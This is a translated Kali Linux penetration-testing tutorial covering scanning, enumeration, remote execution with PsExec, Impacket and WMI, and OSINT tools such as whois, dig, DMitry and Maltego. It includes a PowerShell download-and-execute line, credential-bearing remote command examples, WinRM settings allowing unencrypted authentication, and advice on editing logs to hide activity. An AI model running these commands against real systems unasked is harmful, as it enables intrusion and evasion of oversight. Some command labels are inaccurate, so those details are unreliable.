毫无疑问,几乎每个安全专业人员都想立即开始利用漏洞,但没有理解基础知识、漏洞,最重要的是他们所处的环境。这可能会导致错误,或者更糟糕的是,在实时环境中出现问题。

扫描和枚举允许渗透测试人员了解他们的环境。从这些扫描中得到的结果为红队提供了一个利用不同系统漏洞的起点。扫描是找到目标主机上运行的所有可用网络服务(TCP 和 UDP)。这可以帮助红队发现 SSH/Telnet 是否开放以尝试暴力登录,发现文件共享以下载数据,可能存在漏洞的网站,或者可能保存用户名和密码的打印机。枚举是发现网络上的服务,以获得网络服务提供的更多信息。

扫描

当怀疑缓解控制措施,如防火墙、入侵检测系统和文件完整性监控时,进行全面渗透测试是理想的。扫描将找到单个漏洞;然而,渗透测试将尝试验证这些漏洞在目标环境中是否可利用。让我们来看看每种类型。

ARP 扫描

通过使用 ARP 广播,我们可以利用获取 IP 信息。每个 ARP 广播帧都会请求谁拥有哪个 IP 地址——每次增加一个 IP 地址。一旦主机拥有该 IP 地址,它将以所请求的 IP 地址和其 MAC 地址回应请求。

ARP 扫描是一种有效快速的方法,通常不会引起任何警报;但问题在于 ARP 是一个第二层协议,所以它不能跨越网络边界。这意味着如果红队在网络192.100.0.0/24上,而您的目标在网络10.16.X.0/24上,您无法向10.16.X.0/24发送 ARP 请求。

网络映射器(Nmap)

Nmap 是端口扫描和枚举中的佼佼者。在本指南中涵盖 Nmap 的所有选项和模块超出了本书的范围;相反,我们将介绍我在测试时主要使用的扫描。但首先,这里有一些关于端口状态的信息:

  • 开放:目标机器上的应用正在监听该端口的连接/数据包

  • 关闭:端口上没有应用程序在监听,但随时可能打开

  • 过滤:防火墙、过滤器或其他网络障碍正在阻止端口,因此 Nmap 无法确定它是开放还是关闭的

以下是 Nmap 可用的选项:

  • O:操作系统检测

  • p:端口扫描

  • p-:扫描所有端口(1-65535

  • p 80,443:扫描端口80443

  • p 22-1024:扫描端口221024

  • top-ports XX是一个数字,它将扫描X个最受欢迎的端口;我通常用 100 进行快速扫描。

  • sV:服务检测

  • Tx:设置扫描速度

  • T1:非常慢的端口扫描

  • T5:非常快的端口扫描(非常吵闹)

  • sS:隐秘扫描

  • sU:UDP 扫描

  • A:操作系统检测,版本检测,脚本扫描和路由跟踪

Nmap 端口扫描器/TCP 扫描

这项服务将通过在目标主机的每个端口上发起(SYN)连接来开始。如果端口是开放的,主机将用(SYNACK)回应。连接将由发起方发送的复位(RST`)关闭:

Nmap 半开放/隐秘扫描

这个选项将通过在目标主机的每个端口上发送(SYN)连接来开始。如果端口是开放的,主机将用(SYNACK)回复请求。

如果端口没有打开(即关闭),主机将用连接复位(RST)回答。

如果没有收到响应,就假定端口被过滤了。TCP 扫描和隐秘扫描的区别在于连接发起方不会用确认(ACK)数据包来回应。这种扫描的有效之处在于,由于没有建立完整的连接,所以不会被记录日志。

Nmap 操作系统检测

这个选项将使用各种技术来尝试识别操作系统类型和版本。这对于漏洞检测非常有用。快速搜索操作系统版本将显示已知的漏洞和操作系统的利用,以便更好地了解网络情况,使用以下命令:

nmap 172.16.54.144 –O

Nmap 服务检测

与操作系统检测类似,这个选项试图确定服务和版本,如下图所示:

nmap 172.16.54.144 –sV 

Nmap ping 扫描

这个选项将向给定范围内的每个 IP 地址发送一个 ICMP 请求。如果主机处于启动状态并且配置为响应 ping 请求,它将用 ICMP 回复回应,如下图所示:

nmap 172.16.54.0/24 –sP

枚举

枚举作为发现 Web 应用程序中的所有攻击和弱点的基础。开发视图将这些攻击和弱点合并为漏洞,并根据它们在相关开发阶段的发生进行分类。这可能是设计、实施或部署阶段。有几种枚举技术;我们将看一些。

SMB 共享

SMB代表服务器消息块。这是一种由 IBM 发明的文件共享协议,自 20 世纪 80 年代中期以来一直存在。SMB 协议旨在允许计算机通过局域网LAN)读取和写入远程主机上的文件。通过 SMB 提供的远程主机上的目录称为共享。

这种技术有几个好处,我们将讨论。

DNS 区域传输

DNS 是我最喜欢的协议,因为它是信息的宝库。如果可以请求区域传输,测试人员可以获得特定区域的所有 DNS 记录。这将确定网络中所有主机的主机名到 IP 地址的关系。如果攻击者对网络方案有任何了解,这可能是发现网络上所有主机的最快方法。DNS 还可以显示运行在网络上的服务,如邮件服务器。

DNSRecon

DNSRecon 是我用于 DNS 侦察和枚举的首选工具。在这个例子中,我们将从domain.foo请求区域传输。运行在domain.foo上的 DNS 服务器将返回它所知道的所有domain.foo和与之相关的任何子域的记录。这为我们提供了服务器名称及其相应的主机名和 IP 地址。它返回了所有 DNS 记录,其中包括TXT 记录(4)PTR 记录(1)邮件服务器的 MX 记录(10)IPv6 A 记录(2)IPv4 A 记录(12)。这些记录提供了关于网络的一些非常有价值的信息。其中一条记录显示了他们 DC 办公室的 IP 地址,另一条显示了他们防火墙设备的 IP 地址,另一条显示了他们有 VPN 及其 IP 地址,另一条记录显示了邮件服务器登录门户的 IP 地址,如下图所示:

 dnsrecon -d zonetranfer.zone -a
 -d: domain
 -a: perform zone transfer

SNMP 设备

简单网络管理协议,简称SNMP,用于记录和管理网络设备和应用程序。SNMP 可用于远程配置设备和应用程序,但如果未经安全配置,也可以用于获取有关所述应用程序和设备的信息。这些信息可以用于更好地了解网络:

snmpwalk 192.16.1.1 -c PUBLIC

-c:这是用于对设备进行身份验证的社区字符串。

数据包捕获

在诊断网络问题、嗅探凭据或者如果你喜欢查看流量的话,捕获两个主机之间的数据包可能非常有帮助。

tcpdump

这是一个用于从网络上嗅探特定类型的流量和数据的命令行实用程序:

  • -i eth0:选择要监听的接口

  • 端口 80:选择要监听的端口

  • host 172.16.1.1:仅收集发送至/来自主机的流量。

  • src:数据来源

  • dst:数据发送至

  • -w output.pcap:将流量捕获到磁盘文件上

Wireshark

这是一个用于从网络上嗅探流量的图形化实用程序,如下图所示:

  • ip.addr/ip.dst/ip.src == 172.16.1.1

  • tcp.port/tcp.dstport/tcp.srcport == 80

  • udp.port/udp.dstport/udp.srcport == 53

获取访问权限

在这个阶段,渗透测试人员试图在公司的内部网络中立足。如今,针对特定目标的网络钓鱼似乎是一种非常常见和有效的方法。一个精心制作的网络钓鱼活动可以针对公司发起,并根据侦察阶段收集的信息创建一个令人信服的场景。

获取访问权限也可以包括使用远程服务上的漏洞/凭据登录系统,然后执行有效负载。

Metasploit 和 PowerShell Empire 可以帮助实现这一点,因为它们都创建有效负载,也称为分段器。一旦分段器在目标上执行,它就在内存中运行。这种方式几乎不留下任何取证证据。另一种情况是将二进制文件推送到远程系统并通过命令行执行该二进制文件,这种方法同样有效。这种方法更快,不依赖于互联网下载的成功。

漏洞利用

有时测试人员可能会遇到可以利用的服务。利用可能是初始访问的手段;只要确保利用是 100%可靠的。此外,多次运行利用可能会导致系统崩溃。这种初始访问选项通常需要极度小心使用,除非你已经测试过并知道自己在做什么。

总是 SSH!也许不总是,但我从来没有见过/记得其他服务被使用,除了 telnet,而 telnet 本来就不应该被使用。SSH 和 Linux 就像花生酱和果冻一样搭配。

针对 Linux 的漏洞利用

Linux 漏洞通常不是针对操作系统本身,而是针对正在运行的服务。在这里,你会找到一些常见的针对 Linux 系统的漏洞利用。请记住,漏洞利用会因发行版和服务版本而异:

  • CVE-2018-1111

  • 发现 Red Hat Linux DHCP 客户端易受命令注入攻击

  • CVE-2017-7494

Windows 的漏洞利用

Windows 漏洞利用通常针对操作系统的监听服务。以下是针对运行在 Windows 端口445上的 SMB 服务的列表:

  • Eternalblue – MS17-010

  • MS08-67

  • MS03-026

以下是一些渗透测试人员经常使用的工具:

  • PsExec:

PsExec 是 Sysinternals 工具包中包含的工具;它用于远程管理,是渗透测试人员、系统管理员和黑客中的常用工具。 PsExec 二进制文件通常被复制到机器上的$admin共享中,然后它使用远程管理在远程机器上创建服务。请记住,PsExec 需要远程机器上的管理员权限:

  1. 下载 Sysinternals

  2. 打开 PowerShell 提示符

  3. 输入cd <Sysinternals directory>

  4. 输入.\PSexec \\<IP addr of remote machine> -u <user> -p <password> <cmd>

以下截图显示了获得的输出:

  • Impacket:用于处理网络协议的 Python 类的集合。

初始设置如下:

  1. 打开终端

  2. 输入cd /tmp

  3. 输入git clone https://github.com/CoreSecurity/impacket.git

  4. 输入pip install 

使用以下命令在 Impacket 上启用 PSexec、WMI 和 SMBexec:

  • PSexec
psexec.py <username>:<password>@<ip addr> powershell 

上述命令的输出如下截图所示:

  • WMI
wmiexec.py <username>:<password>@<ip addr> powershell

上述命令的输出如下截图所示:

  • SMBexec
wmiexec.py <username>:<password>@<ip addr>

上述命令的输出如下截图所示:

  • PS-Remoting

要在目标机器上启用 PS-Remoting,请执行以下步骤:

  1. 在目标机器上以管理员身份打开 PowerShell

  2. 输入以下内容:powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/ansible/ansible/devel/examples/scripts/ConfigureRemotingForAnsible.ps1'))"

  3. 启用 PS-Remoting

  4. 输入winrm set winrm/config/client/auth '@{Basic="true"}'

  5. 输入winrm set winrm/config/service/auth '@{Basic="true"}'

  6. 输入winrm set winrm/config/service '@{AllowUnencrypted="true"}'

要在目标机器上启用 PS-Remoting,请执行以下步骤:

  1. 打开 PowerShell。

  2. 输入$options=New-PSSessionOption -SkipCACheck -SkipCNCheck

  3. 输入$cred = Get-Credential。这将提示您输入凭据。

  4. 输入Enter-PSSession -ComputerName <hostname> -UseSSL -SessionOption $options -Credential $cred

您将看到配置详细信息,如下截图所示:

类似地,我们还将看到如何在远程目标上启用 WMI 并使用 WMI 访问远程目标

  • WMI:在远程目标上启用 WMI 可以通过以管理员身份打开 PowerShell 并运行以下命令来完成:
netsh firewall set service RemoteAdmin enable

要使用 WMI 访问远程目标,可以通过打开 PowerShell,输入以下命令并观察输出,如下截图所示:

wmic /node:<target IP addr> /user:<username> process call create "cmd.exe /c <command>"

提升权限

一旦机器被入侵,通常获得的任何访问都是低权限的。由于任何渗透测试的想法都是模拟真实世界的攻击,这包括寻找通常保存在受限制服务器上的敏感信息;测试人员需要找到提升权限的方法。在 Windows Active Directory (AD)环境中,这意味着获得对域管理员帐户的访问。

保持访问

一旦建立了立足点(即远程访问),就可以很快地删除它,因为系统可以重新启动,用户可以注销。这就是持久访问的地方;可以通过多种方式实现。持久访问的最佳策略是同时使用多种技术。

例如,可以在网络中种植一个物理后门(Dropbox),以后可以在其无线范围内访问。更有创意的方法是在受损的机器上设置一个定时任务,在启动时定期执行,例如每天一次:

掩盖你的踪迹

所有的参与都应该得到客户的授权,无论如何。这并不是说在所有的扫描和利用结束后就收拾包袱回家;仍然有人必须以客户能理解的方式向客户呈现发现的结果。但在此之前,我们必须清理环境中留下的漏洞或工具。有时这可能意味着删除二进制文件或编辑日志,我说编辑是因为任何看不到日志的系统管理员都应该非常快速地感到担忧。由于 Windows 和 Linux 都有各自的日志机制,并且它们都有很好的文档记录,所以这里不需要涵盖它们。我建议你跟踪你在系统上所做的更改,并在需要隐藏东西时要有创意;使用系统服务名称或用户名来适应账户,例如,不要将账户命名为EliteHAK3R

报告

这将我们带到测试的最后一部分,有些人会说这是最无聊的部分;然而,如果你遵循了前面的阶段,报告不应该是乏味或困难的。我会在进行过程中做笔记,无论是在纸上还是使用 Dradis,这是一个内置的 Kali 工具,可以通过service dradis start来召唤。请记住它是一个 Web 服务,所以局域网上的任何人都可以使用https://kali 机器的 IP:3004URL 来访问它 - 在第一次运行时,它会提示您设置密码。

Dradis 允许您从 Nmap、NESSUS、NEXPOSE 等导入文件,这使得与队友一起工作时记笔记变得轻松;您可以轻松共享信息并随时了解最新的扫描结果。

总结

本章向您介绍了渗透测试中的各种方法,目的是规划和范围渗透测试。下一章将带您了解使用被动和主动技术来发现和收集有关目标和环境的信息和数据。

第四章:足迹和信息收集

在本章中,我们将讨论渗透测试的信息收集阶段。我们将描述信息收集的定义和目的。我们还将描述 Kali Linux 中可以用于信息收集的几种工具。阅读完本章后,我们希望读者能更好地理解信息收集阶段,并能够在渗透测试期间进行信息收集。

信息收集是我们渗透测试过程(Kali Linux 测试过程)中的第二阶段,如第三章中的 Kali Linux 测试方法论部分所述,渗透测试方法论。在这个阶段,我们试图收集尽可能多的关于目标的信息,例如域名系统DNS)主机名、IP 地址、使用的技术和配置、用户名的组织、文档、应用程序代码、密码重置信息、联系信息等等。在信息收集期间,收集到的每一条信息都被认为是重要的。

根据使用的方法,信息收集可以分为两种方式:主动信息收集和被动信息收集。在主动信息收集方法中,我们通过向目标网络引入网络流量来收集信息,而在被动信息收集方法中,我们通过利用第三方服务(如谷歌搜索引擎)来收集有关目标网络的信息。我们将在后面进行介绍。

请记住,这两种方法都没有比另一种更好;每种方法都有其自身的优势。在被动扫描中,您收集的信息较少,但您的行动将是隐秘的,而在主动扫描中,您可以获得更多信息,但某些设备可能会察觉到您的行动。在渗透测试项目中,这个阶段可能会多次进行,以确保收集到的信息完整。您还可以与您的渗透测试客户讨论他们想要哪种方法。

在本章中,我们将利用被动和主动的信息收集方法来更好地了解目标。

在本章中,我们将讨论以下主题:

  • 可用于收集有关目标域的信息的公共网站

  • 域名注册信息

  • DNS 分析

  • 路线信息

  • 搜索引擎利用

开源情报

与信息收集经常相关的一个关键术语是开源情报OSINT)。军事和情报组织将他们的情报来源分为各种类型。真正的间谍活动,涉及间谍之间的互动,通常被称为人类情报HUMINT)。以破解加密为目的捕获无线电信号被称为信号情报SIGINT)。虽然渗透测试人员不太可能与这两者中的任何一种进行接触,但信息收集阶段是 OSINT。OSINT 是从没有安全控制阻止其披露的来源获取的信息。它们通常是公共记录或目标组织作为其日常运营的一部分分享的信息。

对于渗透测试人员来说,要利用这些信息,他们需要特定的知识和工具来找到这些信息。信息收集阶段在很大程度上依赖于这些信息。此外,简单地向组织展示他们泄露的 OSINT 信息可能会让他们了解到需要增加安全性的领域。正如我们将在本章中看到的,对于那些知道在哪里寻找的人来说,有大量信息是可见的。

使用公共资源

在互联网上,有几个可以用于收集有关目标域的信息的公共资源。使用这些资源的好处是,您的网络流量不会直接发送到目标域,因此您的活动不会记录在目标域日志文件中。

以下是可以使用的资源:

No. 资源 URL 描述
1 www.archive.org 这包含网站的存档。
2 www.domaintools.com/ 这包含域名情报。
3 www.alexa.com/ 这包含有关网站的信息数据库。
4 serversniff.net/ 这是用于网络、服务器检查和路由的免费瑞士军刀
5 centralops.net/ 这包含免费的在线网络实用工具,如域名、电子邮件、浏览器、ping、traceroute 和 Whois。
6 www.robtex.com 这允许您搜索域和网络信息。
7 www.pipl.com/ 这允许您通过他们的名字、姓氏、城市、州和国家在互联网上搜索人。
8 wink.com/ 这是一个免费的搜索引擎,允许您通过姓名、电话号码、电子邮件、网站、照片等查找人。
9 www.isearch.com/ 这是一个免费的搜索引擎,允许您通过姓名、电话号码和电子邮件地址查找人。
10 www.tineye.com TinEye 是一个反向图像搜索引擎。我们可以使用 TinEye 找出图像来自何处,如何使用它,是否存在修改版本的图像,或者找到更高分辨率的版本。
11 www.sec.gov/edgar.shtml 这可用于搜索证券交易委员会中公开上市公司的信息。

由于易于使用——您只需要互联网连接和网络浏览器——我们建议您在使用 Kali Linux 提供的工具之前首先使用这些公共资源。

为了保护域名不被滥用,我们已经更改了我们在示例中使用的域名。我们将使用一些域名,例如来自 IANA 的example.com和免费的黑客测试网站www.hackthissite.org/,以进行说明。

查询域名注册信息

在了解目标域名后,您首先要做的是查询Whois数据库有关该域名的信息,以查找域名注册信息。Whois数据库将提供有关域名的 DNS 服务器和联系信息的信息。

Whois是一种用于搜索互联网注册、已注册域名、IP 和自治系统的协议。该协议在 RFC 3912 中指定(www.ietf.org/rfc/rfc3912.txt)。

默认情况下,Kali Linux 已经配备了whois客户端。要查找域的Whois信息,只需输入以下命令:

    # whois example.com

以下是Whois信息的结果:

    Domain Name: EXAMPLE.COM
       Registrar: RESERVED-INTERNET ASSIGNED NUMBERS AUTHORITY
    Sponsoring Registrar IANA ID: 376
       Whois Server: whois.iana.org
       Referral URL: http://res-dom.iana.org
       Name Server: A.IANA-SERVERS.NET
       Name Server: B.IANA-SERVERS.NET
       Updated Date: 14-aug-2015
       Creation Date: 14-aug-1995
       Expiration Date: 13-aug-2016
    >>> Last update of whois database: Wed, 03 Feb 2016 01:29:37 GMT <<<

从前面的Whois结果中,我们可以获得域名的 DNS 服务器和联系人的信息。这些信息将在渗透测试的后期阶段非常有用。

除了使用命令行Whois客户端,Whois信息也可以通过以下网站收集,这些网站提供了whois客户端:

您还可以转到相应域名的顶级域名注册商:

注意:要使用顶级域名注册商的whois,域名需要通过其自己的系统注册。例如,如果您使用ARIN WHOIS,它只在ARIN WHOIS数据库中搜索,而不会在RIPEAPNIC Whois数据库中搜索。

Whois数据库获取信息后,接下来我们想收集有关目标域的 DNS 条目的信息。

分析 DNS 记录

使用 DNS 记录类别中的工具的目标是收集有关目标域的 DNS 服务器和相应记录的信息。

以下是几种常见的 DNS 记录类型:

No. 记录类型 描述
1 SOA 这是权威记录的开始。
2 NS 这是名称服务器记录。
3 A 这是 IPv4 地址记录。
4 MX 这是邮件交换记录。
5 PTR 这是指针记录。
6 AAAA 这是 IPv6 地址记录。
7 CNAME 这是规范名称的缩写。它用作另一个规范域名的别名。

例如,在渗透测试中,客户可能会要求您查找其域名下所有可用的主机和 IP 地址。您唯一拥有的信息是组织的域名。我们将看一些常见的工具,如果您遇到这种情况,可以帮助您。

主机

在获取 DNS 服务器信息之后,下一步是查找主机名的 IP 地址。为了帮助我们解决这个问题,我们可以使用以下主机命令行工具来从 DNS 服务器查找主机的 IP 地址:

    # host hackthissite.org 

默认情况下,host命令将查找域的AAAAAMX记录。要查询任何记录,只需将-a选项提供给命令:

    # host -a hackthissite.org
    Trying "hackthissite.org"
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32115
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 12, AUTHORITY: 0, ADDITIONAL: 0
    ;; QUESTION SECTION:
    ;hackthissite.org.    IN  ANY
    ;; ANSWER SECTION:
    hackthissite.org.  5  IN  A  198.148.81.135
    hackthissite.org.  5  IN  A  198.148.81.139
    hackthissite.org.  5  IN  A  198.148.81.137
    hackthissite.org.  5  IN  A  198.148.81.136
    hackthissite.org.  5  IN  A  198.148.81.138
    hackthissite.org.  5  IN  NS  ns1.hackthissite.org.
    hackthissite.org.  5  IN  NS  c.ns.buddyns.com.
    hackthissite.org.  5  IN  NS  f.ns.buddyns.com.
    hackthissite.org.  5  IN  NS  e.ns.buddyns.com.
    hackthissite.org.  5  IN  NS  ns2.hackthissite.org.
    hackthissite.org.  5  IN  NS  b.ns.buddyns.com.
    hackthissite.org.  5  IN  NS  d.ns.buddyns.com.
    Received 244 bytes from 172.16.43.2#53 in 34 ms  

host命令通过查询 Kali Linux 系统的/etc/resolv.conf文件中列出的 DNS 服务器来查找这些记录。如果要使用其他 DNS 服务器,只需将 DNS 服务器地址提供为最后一个命令行选项。

如果您将域名作为host命令行选项,该方法称为正向查找,但如果您将 IP 地址作为host命令的命令行选项,则该方法称为反向查找。

尝试对以下 IP 地址进行反向查找:

    host 23.23.144.81 

您可以从这个命令中获得什么信息?

host工具也可以用于进行 DNS 区域传输。通过这种机制,我们可以收集有关域中可用主机名的信息。

DNS 区域传输是一种机制,用于将主 DNS 服务器上的 DNS 数据库复制到另一个 DNS 服务器,通常称为从属 DNS 服务器。如果没有这种机制,管理员必须单独更新每个 DNS 服务器。必须向域的权威 DNS 服务器发出 DNS 区域传输查询。

由于 DNS 区域传输可以收集的信息的性质,现在很少能找到允许向任意区域传输请求的 DNS 服务器。

如果您找到一个允许区域传输而不限制谁能够执行它的 DNS 服务器,这意味着 DNS 服务器配置不正确。

dig

除了host命令,您还可以使用dig命令进行 DNS 查询。与host相比,dig的优势在于其灵活性和输出的清晰度。使用dig,您可以要求系统从文件中处理一系列查找请求。

让我们使用dig来查询hackthissite.org域。

除了域名之外,如果没有提供任何选项,dig命令将只返回域的 A 记录。要请求任何其他 DNS 记录类型,可以在命令行中提供类型选项:

    # dig hackthissite.org
    ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> hackthissite.org
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44321
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; MBZ: 0005 , udp: 4096
    ;; QUESTION SECTION:
    ;hackthissite.org.    IN  A
    ;; ANSWER SECTION:
    hackthissite.org.  5  IN  A  198.148.81.139
    hackthissite.org.  5  IN  A  198.148.81.137
    hackthissite.org.  5  IN  A  198.148.81.138
    hackthissite.org.  5  IN  A  198.148.81.135
    hackthissite.org.  5  IN  A  198.148.81.136
    ;; Query time: 80 msec
    ;; SERVER: 172.16.43.2#53(172.16.43.2)
    ;; WHEN: Tue Feb 02 18:16:06 PST 2016
    ;; MSG SIZE  rcvd: 125

从结果中,我们可以看到dig输出现在返回了A的 DNS 记录。

DMitry

Deepmagic 信息收集工具DMitry)是一款多合一信息收集工具。它可用于收集以下信息:

  • 使用 IP 地址或域名查询主机的Whois记录

  • www.netcraft.com/获取主机信息

  • 目标域中的子域

  • 目标域的电子邮件地址

  • 在目标机器上执行端口扫描,打开、过滤或关闭端口列表

尽管可以使用几个 Kali Linux 工具获取这些信息,但使用单个工具收集所有信息并将报告保存到一个文件非常方便。

我们认为这个工具更适合归类为 DNS 分析,而不是路由分析部分,因为其功能更多地涉及 DNS 分析而不是路由分析。

要从 Kali Linux 菜单访问DMitry,请导航到应用程序|信息收集|dmitry,或者您可以使用控制台并输入以下命令:

    # dmitry

例如,让我们对目标主机执行以下操作:

  • 执行Whois查找

  • www.netcraft.com/获取信息

  • 搜索所有可能的子域

  • 搜索所有可能的电子邮件地址

执行上述操作的命令如下:

    # dmitry -iwnse hackthissite.org 

前述命令的结果摘要如下:

    Deepmagic Information Gathering Tool
    "There be some deep magic going on"
    HostIP:198.148.81.138
    HostName:hackthissite.org
    Gathered Inet-whois information for 198.148.81.138
    ---------------------------------
    inetnum:        198.147.161.0 - 198.148.176.255
    netname:        NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK
    descr:          IPv4 address block not managed by the RIPE NCC

    remarks:        http://www.iana.org/assignments/ipv4-recovered-address-space/ipv4-recovered-address-space.xhtml
    remarks:
    remarks:        -----------------------------------------------------
    country:        EU # Country is really world wide
    admin-c:        IANA1-RIPE
    tech-c:         IANA1-RIPE
    status:         ALLOCATED UNSPECIFIED
    mnt-by:         RIPE-NCC-HM-MNT
    mnt-lower:      RIPE-NCC-HM-MNT
    mnt-routes:     RIPE-NCC-RPSL-MNT
    created:        2011-07-11T12:36:59Z
    last-modified:  2015-10-29T15:18:41Z
    source:         RIPE
    role:           Internet Assigned Numbers Authority
    address:        see http://www.iana.org.
    admin-c:        IANA1-RIPE
    tech-c:         IANA1-RIPE
    nic-hdl:        IANA1-RIPE
    remarks:        For more information on IANA services
    remarks:        go to IANA web site at http://www.iana.org.
    mnt-by:         RIPE-NCC-MNT
    created:        1970-01-01T00:00:00Z
    last-modified:  2001-09-22T09:31:27Z
    source:         RIPE # Filtered
    % This query was served by the RIPE Database Query Service version 1.85.1 (DB-2)

我们还可以使用dmitry通过提供以下命令执行简单的端口扫描:

    # dmitry -p hackthissite.org -f -b

前述命令的结果如下:

    Deepmagic Information Gathering Tool
    "There be some deep magic going on"
    HostIP:198.148.81.135
    HostName:hackthissite.org
    Gathered TCP Port information for 198.148.81.135
    ---------------------------------
     Port    State
    ...
    14/tcp    filtered
    15/tcp    filtered
    16/tcp    filtered
    17/tcp    filtered
    18/tcp    filtered
    19/tcp    filtered
    20/tcp    filtered
    21/tcp    filtered
    22/tcp    open
    >> SSH-2.0-OpenSSH_5.8p1_hpn13v10 FreeBSD-20110102
    23/tcp    filtered
    24/tcp    filtered
    25/tcp    filtered
    26/tcp    filtered
    ...
    79/tcp    filtered
    80/tcp    open
    Portscan Finished: Scanned 150 ports, 69 ports were in state closed
    All scans completed, exiting

从前述命令中,我们发现目标主机正在使用设备进行数据包过滤。它只允许端口22用于 SSH 的传入连接和端口80,这通常用于 Web 服务器。有趣的是,SSH 安装的类型被指出,允许进一步研究对 OpenSSH 安装的可能漏洞。

Maltego

Maltego 是一款开源情报和取证应用程序。它允许您挖掘和收集信息,并以有意义的方式表示信息。Maltego 中的开源短语意味着它从开源资源中收集信息。在收集信息后,Maltego 允许您确定所收集信息之间的关键关系。

Maltego 是一种可以以图形方式显示数据之间联系的工具,因此将更容易看到信息之间的共同点。

Maltego 允许您枚举以下互联网基础设施信息:

  • 域名

  • DNS 名称

  • Whois信息

  • 网络块

  • IP 地址

它还可以用于收集有关人的以下信息:

  • 与该人相关的公司和组织

  • 与该人相关的电子邮件地址

  • 与该人相关的网站

  • 与该人相关的社交网络

  • 与该人相关的电话号码

  • 社交媒体信息

Kali Linux 默认配备了 Maltego 3.6.1 Kali Linux 版。社区版的限制如下:

  • 不得用于商业用途

  • 每个变换最多 12 个结果

  • 您需要在我们的网站上注册才能使用客户端

  • API 密钥每隔几天就会过期

  • 在与所有社区用户共享的(较慢的)服务器上运行

  • 客户端和服务器之间的通信未加密

  • 直到下一个主要版本才会更新

  • 没有最终用户支持

  • 服务器端的变换不会更新

Maltego 中有 70 多种变换可用。变换一词指的是 Maltego 的信息收集阶段。一个变换意味着 Maltego 只会执行一个信息收集阶段。

要从 Kali Linux 菜单访问 Maltego,请导航到应用程序|信息收集|Maltego。桌面上也有一个启动图标,或者您可以使用控制台并输入以下命令:

    # maltego

您将看到 Maltego 欢迎屏幕。几秒钟后,您将看到以下 Maltego 启动向导,它将帮助您首次设置 Maltego 客户端。

单击“下一步”继续到下一个窗口,并输入您的登录详细信息。(如果您没有登录详细信息,请单击此处注册以创建帐户。)

登录后,输入您的个人详细信息(姓名和电子邮件地址)。

然后,您需要选择转换种子,如下图所示:

Maltego 客户端将连接到 Maltego 服务器以获取转换。如果 Maltego 已成功初始化,您将看到以下截图:

这意味着您的 Maltego 客户端初始化已成功完成。现在您可以使用 Maltego 客户端了。

在使用 Maltego 客户端之前,让我们先看一下 Maltego 界面:

Maltego 界面

在前面截图的左上方,您将看到 Palette 窗口。在Palette窗口中,您可以选择要收集信息的实体类型。Maltego 将实体分为六组,如下所示:

  • 设备,如手机或相机

  • 基础设施,如 AS、DNS 名称、域、IPv4 地址、MX 记录、NS 记录、网络块、URL 和网站

  • 地球上的位置

  • 渗透测试

  • 个人信息,如别名、文件、电子邮件地址、图像、人员、电话号码和短语

  • 社交网络,如 Facebook 对象、Twitter 实体、Facebook 从属关系和 Twitter 从属关系

在前面截图的中上部,您将看到不同的视图:

  • 主视图

  • 气泡视图

  • 实体列表

视图用于提取大型图中不明显的信息,分析师无法通过手动检查数据来清晰地看到关系。主视图是您大部分时间工作的地方。在气泡视图中,节点显示为气泡,而在实体列表选项卡中,节点以纯文本格式列出。

在视图旁边,您将看到不同的布局算法。Maltego 支持以下四种布局算法:

  • 块布局:这是默认布局,在挖掘过程中使用。

  • 层次布局:层次布局与根和后续主机分支一起工作。这提供了一个分支结构,以便可视化父/子关系。

  • 中心布局:中心布局获取最中心的节点,然后以图形方式表示节点周围的传入链接。在检查与一个中心节点相连的多个节点时,这是很有用的。

  • 有机布局:有机布局以最小化距离的方式显示节点,使查看者能够更好地了解节点及其关系的整体情况。

对 Maltego 客户端用户界面进行简要描述后,现在是行动的时候了。

假设您想收集有关域的信息。我们将使用example.com域作为示例。我们将在以下部分中探讨如何做到这一点:

  1. 创建一个新图形(Ctrl + T)并转到 Palette 选项卡。

  2. 选择基础设施,然后单击域。

  3. 将其拖到主窗口。如果成功,您将在主窗口中看到一个名为paterva.com的域。

  4. 双击名称并将其更改为您的目标域,例如example.com,如下图所示:

Maltego Kali Linux

  1. 如果您右键单击“域”名称,您将看到可以对域名执行的所有转换:
  • 来自域的 DNS

  • 域所有者的详细信息

  • 来自域的电子邮件地址

  • 来自域的文件和文档

  • 其他转换,如转换为个人、电话号码和网站

  • 所有转换

  1. 让我们从域转换中选择 DomainToDNSNameSchema(运行转换|其他转换|DomainToDNSNameSchema)。以下截图显示了结果:

Maltego Kali Linux

在域转换的 DNS 之后,我们得到了与example.com域相关的网站地址(www.example.com)的信息。

您可以对目标域运行其他转换。

如果要更改域,需要先保存当前图。要保存图,请按照以下步骤操作:

  1. 单击 Maltego 图标,然后选择保存。

  2. 图将以 Maltego 图文件格式(.mtgx)保存。要更改域,只需双击现有域并更改域名。

接下来,我们将描述几种可用于获取路由信息的工具。

获取网络路由信息

网络路由信息对于渗透测试人员有多种用途。首先,他们可以识别渗透测试人员的机器和目标之间的不同设备。渗透测试人员还可以获取有关网络操作方式以及流量在目标和测试人员机器之间的路由方式的信息。最后,渗透测试人员还可以确定是否有中间障碍物,如防火墙或代理服务器,位于测试人员和目标之间。

Kali Linux 有许多提供网络路由信息的工具。

tcptraceroute

在 Linux 发行版中找到的traceroute命令的补充是tcptraceroute工具。普通的traceroute命令向目标主机发送 UDP 或 ICMP 回显请求数据包,生存时间TTL)设置为一。该 TTL 每到达一个主机就增加一,直到数据包到达目标主机。traceroutetcptraceroute工具之间的主要区别在于tcptraceroute工具使用 TCP SYN 数据包到目标主机。

使用tcptraceroute的主要优势在于当您有可能在测试机器和目标之间遇到防火墙时。防火墙通常配置为过滤与traceroute命令相关的 ICMP 和 UDP 流量。因此,traceroute信息对您将没有用处。使用tcptraceroute可以使用特定端口上的 TCP 连接,防火墙将允许您通过,从而允许您枚举通过防火墙的网络路由路径。

tcptraceroute命令利用 TCP 三次握手来确定防火墙是否允许通过。如果端口打开,您将收到一个 SYN/ACK 数据包。如果端口关闭,您将收到一个 RST 数据包。要启动tcptraceroute,在命令行中输入以下内容:

    # tcptraceroute

